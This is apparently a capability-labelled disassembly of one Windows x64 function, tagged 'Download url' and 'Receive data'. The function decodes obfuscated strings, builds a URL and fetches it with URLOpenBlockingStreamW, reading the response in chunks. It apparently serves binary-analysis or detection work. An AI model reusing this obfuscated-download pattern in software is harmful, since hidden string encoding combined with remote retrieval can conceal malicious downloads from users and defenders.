Function at 0x140062670
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2f8]
sub rsp, 0x3f8
mov r12, rcx
xor r13d, r13d
mov dword [rbp + 0x350], r13d
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063ed9
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x70], rax
lea rdi, str.UW1kcnVfcGNaS2dhcG1xbWRyWlVnbGJtdXFaQXNwcGNsclRjcHFnbWxaU2xnbHFyX2pqWk5BP25uUXJtcGM
mov rdx, rdi
lea rcx, [rbp - 0x70]
call fcn.140031e00
lea r14, [r13 - 1]
test al, al
jne 0x1400626fa
mov rax, r14
nop word [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x1400626e0
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x70]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063ee4
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 8], rax
lea rdi, str.UW1kcnVfcGNaS2dhcG1xbWRyWlVnbGJtdXFaQXNwcGNsclRjcHFnbWxaUHNs
mov rdx, rdi
lea rcx, [rbp - 8]
call fcn.140031e00
test al, al
jne 0x14006274d
mov rax, r14
inc rax
cmp word [rdi + rax*2], 0
jne 0x140062733
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 8]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063eef
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x50], rax
lea rdi, str.VGNwcWdtbA
mov rdx, rdi
lea rcx, [rbp - 0x50]
call fcn.140031e00
test al, al
jne 0x1400627a0
mov rax, r14
inc rax
cmp word [rdi + rax*2], 0
jne 0x140062786
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x50]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063efa
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x58], rax
lea rdi, str.Qmdxbmpfd1RjcHFnbWw
mov rdx, rdi
lea rcx, [rbp - 0x58]
call fcn.140031e00
test al, al
jne 0x1400627fa
mov rax, r14
nop dword [rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x1400627e0
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x58]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f05
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x38], rax
lea rdi, str.R2xxcl9qak5fcmY
mov rdx, rdi
lea rcx, [rbp - 0x38]
call fcn.140031e00
test al, al
jne 0x14006284d
mov rax, r14
inc rax
cmp word [rdi + rax*2], 0
jne 0x140062833
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x38]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f10
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x28], rax
lea rdi, str.Qmdxbmpfd0xfa2M
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.140031e00
test al, al
jne 0x1400628a0
mov rax, r14
inc rax
cmp word [rdi + rax*2], 0
jne 0x140062886
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f1b
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x38], rax
lea rdi, str.U2xnbHFyX2pqUXJwZ2xl
mov rdx, rdi
lea rcx, [rbp + 0x38]
call fcn.140031e00
test al, al
jne 0x1400628fa
mov rax, r14
nop dword [rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x1400628e0
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0x38]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f26
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x28], rax
lea rdi, str.TnNgamdxZmNw
mov rdx, rdi
lea rcx, [rbp + 0x28]
call fcn.140031e00
test al, al
jne 0x14006294d
mov rax, r14
inc rax
cmp word [rdi + rax*2], 0
jne 0x140062933
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0x28]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f31
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp], rax
lea rdi, str.TkE_bm4
mov rdx, rdi
lea rcx, [rbp]
call fcn.140031e00
test al, al
jne 0x1400629a0
mov rax, r14
inc rax
cmp word [rdi + rax*2], 0
jne 0x140062986
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f3c
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 8], rax
lea rdi, str.P25uTl9wX2s
mov rdx, rdi
lea rcx, [rbp + 8]
call fcn.140031e00
test al, al
jne 0x1400629fa
mov rax, r14
nop dword [rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x1400629e0
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 8]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f47
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x20], rax
lea rdi, str.cXJfcHJda2Nsc11tbA
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.140031e00
test al, al
jne 0x140062a4d
mov rax, r14
inc rax
cmp word [rdi + rax*2], 0
jne 0x140062a33
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0x20]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f52
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
lea rsi, [rax + 0x18]
mov qword [rbp - 0x60], rsi
mov qword [rsp + 0x70], r13
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], r13w
mov dword [rbp + 0x350], 1
mov word [rsp + 0x20], r13w
mov edx, 0x104
mov r9d, edx
lea rcx, [rsp + 0x70]
call fcn.140045b60
nop word [rax + rax]
mov r15d, dword [rbp - 0x80]
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rdx, qword [rsp + 0x70]
mov ecx, r15d
call fcn.1401637b0
mov rbx, rax
mov qword [rbp + 0x348], rax
mov ecx, eax
mov r8, qword [rbp - 0x80]
cmp rcx, r8
ja 0x140062afc
lea rax, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rax, qword [rsp + 0x70]
mov qword [rbp - 0x80], rcx
mov word [rax + rcx*2], r13w
jmp 0x140062b55
mov rdx, rcx
sub rdx, r8
mov rdi, qword [rbp - 0x78]
mov rax, rdi
sub rax, r8
cmp rdx, rax
ja 0x140062b42
mov qword [rbp - 0x80], rcx
lea r9, [rsp + 0x70]
cmp rdi, 8
cmovae r9, qword [rsp + 0x70]
lea rdi, [r9 + r8*2]
test rdx, rdx
je 0x140062b37
movzx eax, r13w
mov rcx, rdx
rep stosw word [rdi], ax
lea rax, [r8 + rdx]
mov word [r9 + rax*2], r13w
jmp 0x140062b55
mov word [rsp + 0x20], r13w
mov r9, rdx
lea rcx, [rsp + 0x70]
call fcn.140045b60
cmp ebx, r15d
jae 0x140062ab0
mov edx, dword [rbp + 0x34c]
test edx, edx
jne 0x140063f5d
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rdx, qword [rsp + 0x70]
mov qword [rbp + 0x2a8], r13
mov qword [rbp + 0x2b8], r13
mov qword [rbp + 0x2c0], r13
mov r8, r14
inc r8
cmp word [rdx + r8*2], 0
jne 0x140062b94
lea rcx, [rbp + 0x2a8]
call fcn.140030750
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp + 0x18]
call fcn.14004b9f0
nop
lea rcx, [rsp + 0x70]
call fcn.140031830
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f6a
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x30], rax
lea rdi, str.TkEeP25uHlFybXBj
mov rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.140031e00
test al, al
jne 0x140062c1a
mov rax, r14
nop
inc rax
cmp word [rdi + rax*2], 0
jne 0x140062c00
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f75
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x40], rax
lea rdx, str.c2xnbHFyX2pqY3AsY3Zj
lea rcx, [rbp + 0x40]
call fcn.140031e00
test al, al
jne 0x140062c5e
lea rdx, str.c2xnbHFyX2pqY3AsY3Zj
lea rcx, [rbp + 0x40]
call fcn.140031070
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f80
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x30], rax
lea rdi, str.RF9xch5BbXBubXBfcmMeSnJiLA
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140031e00
test al, al
jne 0x140062cba
mov rax, r14
nop word [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x140062ca0
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0x30]
call fcn.140032190
nop
mov rdx, qword [r12]
cmp word [rdx], r13w
je 0x140062d1f
lea rcx, [rdx - 0x18]
lea rbx, [rsi - 0x18]
cmp rcx, rbx
je 0x140062d1f
mov eax, dword [rbx + 0x10]
shr eax, 0x1f
test al, al
jne 0x140062d0e
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x140062d0e
call fcn.1400318c0
mov rsi, rax
mov ecx, r14d
lock xadd dword [rbx + 0x10], ecx
sub ecx, 1
jg 0x140062d04
mov rcx, qword [rbx]
mov rdi, qword [rcx]
mov rdx, rbx
call qword [rdi + reloc.OLEAUT32.dll_VariantClear]
add rsi, 0x18
mov qword [rbp - 0x60], rsi
jmp 0x140062d1f
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp - 0x60]
call fcn.140032190
mov rsi, qword [rbp - 0x60]
test rsi, rsi
je 0x140062e92
cmp word [rsi], r13w
je 0x140062e92
lea rax, [rbp + 0x268]
mov qword [rbp + 0x358], rax
mov rcx, qword [0x140223760]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x138], rax
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x268]
call fcn.14004beb0
mov rbx, rax
lea rax, [rbp + 0x270]
mov qword [rsp + 0x40], rax
lea rcx, [rsi - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x140], rax
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x270]
call fcn.14004beb0
mov rdi, rax
mov rcx, qword [rbp - 0x50]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x148], rax
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x278]
call fcn.14004beb0
nop
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.14004f7f0
lea rax, [rbp + 0x280]
mov qword [rbp + 0x358], rax
mov rcx, qword [rbp - 0x70]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x150], rax
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x280]
call fcn.14004beb0
mov rbx, rax
lea rax, [rbp + 0x288]
mov qword [rsp + 0x40], rax
lea rcx, [rsi - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x158], rax
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x288]
call fcn.14004beb0
mov rdi, rax
mov rcx, qword [rbp - 0x58]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x160], rax
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x290]
call fcn.14004beb0
nop
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.14004f7f0
jmp 0x140062f5a
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f8b
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x40], rax
lea rdi, str.VXBncmdsZR5wY2VncXJwdx5pY3ceY3BwbXA4Hk5BP25uVGNwcWdtbB5ncR5zbGJjZGdsY2I
mov rdx, rdi
lea rcx, [rbp - 0x40]
call fcn.140031e00
test al, al
jne 0x140062eea
mov rax, r14
nop dword [rax + rax]
inc rax
cmp word [rdi + rax*2], 0
jne 0x140062ed0
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x40]
call fcn.140032190
nop
mov rdi, qword [rbp - 0x40]
lea rcx, [rdi - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x168], rax
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x298]
call fcn.14004beb0
mov rcx, qword [rax]
call fcn.140030700
mov rdx, qword [rbp + 0x298]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140062f3f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
lock xadd dword [rdi - 8], eax
sub eax, 1
jg 0x140062f5a
mov rcx, qword [rdi - 0x18]
mov rax, qword [rcx]
lea rdx, [rdi - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x358], rax
mov rcx, qword [0x140223760]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x170], rax
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x2a0]
call fcn.14004beb0
mov rbx, rax
lea rax, [rbp + 0x178]
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x18]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x58], rax
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x178]
call fcn.14004beb0
mov rdi, rax
mov rcx, qword [rbp - 0x38]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x38], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x60], rax
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x180]
call fcn.14004beb0
nop
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.14004f7f0
lea rax, [rbp + 0x188]
mov qword [rbp + 0x358], rax
mov rsi, qword [rbp - 0x70]
add rsi, 0xffffffffffffffe8
mov qword [rsp + 0x40], rsi
mov rcx, rsi
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x68], rax
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x188]
call fcn.14004beb0
mov rbx, rax
lea rax, [rbp + 0x190]
mov qword [rsp + 0x50], rax
mov rcx, qword [rbp - 0x30]
add rcx, 0xffffffffffffffe8
mov qword [rbp + 0x260], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x70], rax
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x190]
call fcn.14004beb0
mov rdi, rax
mov rcx, qword [rbp - 0x28]
add rcx, 0xffffffffffffffe8
mov qword [rbp - 0x48], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x78], rax
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x198]
call fcn.14004beb0
nop
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.14004f7f0
lea rax, [rbp + 0x1a0]
mov qword [rbp + 0x358], rax
mov rcx, rsi
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x80], rax
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x1a0]
call fcn.14004beb0
mov rbx, rax
lea rax, [rbp + 0x1a8]
mov qword [rsp + 0x58], rax
mov rcx, qword [rbp + 0x40]
add rcx, 0xffffffffffffffe8
mov qword [rbp + 0x258], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x1a8]
call fcn.14004beb0
mov rdi, rax
mov rcx, qword [rbp + 0x38]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x50], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x90], rax
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x1b0]
call fcn.14004beb0
nop
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.14004f7f0
lea rax, [rbp + 0x1b8]
mov qword [rbp + 0x358], rax
mov rcx, rsi
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0x98], rax
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x1b8]
call fcn.14004beb0
mov rbx, rax
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x68], rax
mov rcx, qword [rbp + 0x30]
add rcx, 0xffffffffffffffe8
mov qword [rbp + 0x250], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0xa0], rax
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x1c0]
call fcn.14004beb0
mov rdi, rax
mov rcx, qword [rbp + 0x28]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x58], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0xa8], rax
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x1c8]
call fcn.14004beb0
nop
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.14004f7f0
lea rax, [rbp + 0x1d0]
mov qword [rbp + 0x358], rax
mov rcx, qword [0x140223760]
add rcx, 0xffffffffffffffe8
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0xb0], rax
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x1d0]
call fcn.14004beb0
mov rdi, rax
mov rcx, qword [rbp + 0x20]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x68], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0xb8], rax
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x1d8]
call fcn.14004beb0
nop
mov r8, rdi
mov edx, 1
mov rcx, rax
call fcn.14004fa70
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063f96
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x48], rax
lea rdi, str.ZnJybnE4LS1uYV9ubixxcm1wYy1hbmVdZF8sbmZuPWVzZ2I7
mov rdx, rdi
lea rcx, [rsp + 0x48]
call fcn.140031e00
test al, al
jne 0x1400632fb
mov rax, r14
inc rax
cmp word [rdi + rax*2], 0
jne 0x1400632e0
mov r8d, eax
mov rdx, rdi
lea rcx, [rsp + 0x48]
call fcn.140032190
nop
mov rbx, qword [rsp + 0x48]
add rbx, 0xffffffffffffffe8
mov rcx, rbx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0xc0], rax
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x1f0]
call fcn.14004beb0
nop
lea r8, [0x140223f40]
mov rdx, rax
lea rcx, [rbp + 0x1e8]
call fcn.140023e50
nop
mov rdx, qword [rax]
mov qword [rbp + 0x2c8], r13
mov qword [rbp + 0x2d8], r13
mov qword [rbp + 0x2e0], r13
mov r8, r14
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140063360
lea rcx, [rbp + 0x2c8]
call fcn.140030750
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x1e0]
call fcn.14004b9f0
nop
mov rdx, qword [rax]
lea rcx, [rdx - 0x18]
cmp rcx, rbx
je 0x1400633e4
mov eax, dword [rbx + 0x10]
shr eax, 0x1f
test al, al
jne 0x1400633d5
mov rax, qword [rbx]
cmp qword [rcx], rax
jne 0x1400633d5
call fcn.1400318c0
mov rsi, rax
mov ecx, r14d
lock xadd dword [rbx + 0x10], ecx
sub ecx, 1
jg 0x1400633ca
mov rcx, qword [rbx]
mov rdi, qword [rcx]
mov rdx, rbx
call qword [rdi + reloc.OLEAUT32.dll_VariantClear]
lea rax, [rsi + 0x18]
mov qword [rsp + 0x48], rax
jmp 0x1400633e4
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x48]
call fcn.140032190
nop
mov rdx, qword [rbp + 0x1e0]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063406
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x1e8]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063428
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x1f0]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063449
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov qword [rbp + 0x10], r13
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rbp + 0x248], rcx
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0xc8], rax
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x1f8]
call fcn.14004beb0
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0x10]
mov rdx, qword [rax]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
mov ebx, eax
mov rdx, qword [rbp + 0x1f8]
add rdx, 0xffffffffffffffe8
mov ecx, r14d
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x1400634ba
mov rcx, qword [rdx]
mov rdi, qword [rcx]
call qword [rdi + reloc.OLEAUT32.dll_VariantClear]
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063fa1
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rsp + 0x30], rax
lea rdi, [0x1401db368]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.14005a480
test al, al
jne 0x14006350f
mov rax, r14
inc rax
cmp byte [rdi + rax], 0
jne 0x1400634f5
mov r8d, eax
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140066100
nop
test ebx, ebx
jns 0x1400635dd
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063fac
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x50], rax
lea rdi, str.P2weY3BwbXAebWFhc3BjYh5tbB5wY29zY3Fy
mov rdx, rdi
lea rcx, [rbp + 0x50]
call fcn.140031e00
test al, al
jne 0x14006356a
mov rax, r14
inc rax
cmp word [rdi + rax*2], 0
jne 0x140063550
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp + 0x50]
call fcn.140032190
nop
mov rdi, qword [rbp + 0x50]
lea rcx, [rdi - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0xd0], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x200]
call fcn.14004beb0
mov rcx, qword [rax]
call fcn.140030700
mov rdx, qword [rbp + 0x200]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400635bf
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
lock xadd dword [rdi - 8], eax
sub eax, 1
jg 0x140063878
mov rcx, qword [rdi - 0x18]
lea rdx, [rdi - 0x18]
jmp 0x140063871
mov dword [rbp + 0x348], r13d
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063fb7
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
lea rdi, [rax + 0x18]
mov qword [rbp + 0xd8], rdi
mov rbx, qword [rsp + 0x30]
nop dword [rax + rax]
mov rsi, qword [rbp + 0x10]
mov rax, qword [rsi]
mov r15, qword [rax + 0x18]
mov ecx, 1
sub ecx, dword [rdi - 8]
mov eax, dword [rdi - 0xc]
sub eax, 0x1000
or eax, ecx
jge 0x140063647
mov edx, 0x1000
lea rcx, [rbp + 0xd8]
call fcn.14005a7e0
mov rdi, qword [rbp + 0xd8]
lea r9, [rbp + 0x348]
mov r8d, 0x1000
mov rdx, rdi
mov rcx, rsi
call r15
mov r15d, eax
mov dword [rsp + 0x60], eax
mov eax, dword [rbp + 0x348]
cmp eax, 0xffffffff
jne 0x140063685
test rdi, rdi
jne 0x140063679
mov eax, r13d
jmp 0x14006368d
movsxd rdx, dword [rdi - 0xc]
mov rcx, rdi
call fcn.140189e0c
test eax, eax
js 0x140063ece
lea rsi, [rdi - 0x18]
cmp eax, dword [rsi + 0xc]
jg 0x140063ece
mov dword [rsi + 8], eax
mov eax, eax
mov byte [rax + rdi], 0
cmp dword [rbp + 0x348], 0
jbe 0x140063786
movsxd rax, dword [rsi + 8]
mov r15, rdi
mov r13, rdi
sub r13, rbx
mov esi, dword [rbx - 0x10]
mov dword [rbp + 0x358], esi
test eax, eax
js 0x140063ece
test rdi, rdi
jne 0x1400636d8
xor r12d, r12d
jmp 0x1400636e6
mov rdx, rax
mov rcx, rdi
call fcn.140189e0c
mov r12, rax
mov ecx, 0x7fffffff
sub ecx, r12d
cmp ecx, esi
jl 0x140063ece
add esi, r12d
js 0x140063ece
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
sub eax, esi
or eax, ecx
jge 0x140063721
mov edx, esi
lea rcx, [rsp + 0x30]
call fcn.14005a7e0
mov rbx, qword [rsp + 0x30]
mov eax, dword [rbp + 0x358]
cmp r13, rax
ja 0x140063730
lea r15, [rbx + r13]
movsxd r8, r12d
lea rcx, [rbx + rax]
test r12d, r12d
je 0x140063767
test rcx, rcx
je 0x140063757
test r15, r15
je 0x140063750
mov rdx, r15
call fcn.140185440
jmp 0x140063767
xor edx, edx
call fcn.140185af0
call fcn.140189d70
mov dword [rax], SafeArrayPutElement
call fcn.140189c04
cmp esi, dword [rbx - 0xc]
jg 0x140063ece
mov dword [rbx - 0x10], esi
movsxd rax, esi
mov byte [rax + rbx], 0
lea rsi, [rdi - 0x18]
mov r15d, dword [rsp + 0x60]
xor r13d, r13d
test r15d, r15d
js 0x14006379a
cmp r15d, 1
je 0x14006385e
jmp 0x140063610
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063fc2
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x20], rax
lea rdi, str.P2weY3BwbXAebWFhc3BjYh5tbB5wY19iZ2xlHmRwbWseR1FycGNfaw
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.140031e00
test al, al
jne 0x1400637ed
mov rax, r14
inc rax
cmp word [rdi + rax*2], 0
jne 0x1400637d3
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.140032190
nop
mov rdi, qword [rbp - 0x20]
lea rcx, [rdi - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0xe0], rax
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x208]
call fcn.14004beb0
mov rcx, qword [rax]
call fcn.140030700
mov rdx, qword [rbp + 0x208]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140063842
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
lock xadd dword [rdi - 8], eax
sub eax, 1
jg 0x14006385e
mov rcx, qword [rdi - 0x18]
mov rax, qword [rcx]
lea rdx, [rdi - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r14d
lock xadd dword [rsi + 0x10], eax
sub eax, 1
jg 0x140063878
mov rcx, qword [rsi]
mov rdx, rsi
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rdx, [0x1401db368]
mov rdi, qword [rsp + 0x30]
mov rcx, rdi
call fcn.1401988ec
nop
test eax, eax
jne 0x140063966
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140063fcd
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x18], rax
lea rdi, str.YmNkX3Nqcg
mov rdx, rdi
lea rcx, [rbp - 0x18]
call fcn.140031e00
test al, al
jne 0x1400638ea
mov rax, r14
nop
inc rax
cmp word [rdi + rax*2], 0
jne 0x1400638d0
mov r8d, eax
mov rdx, rdi
lea rcx, [rbp - 0x18]
call fcn.140032190
nop
mov rdi, qword [rbp - 0x18]
lea rcx, [rdi - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp + 0xe8], rax
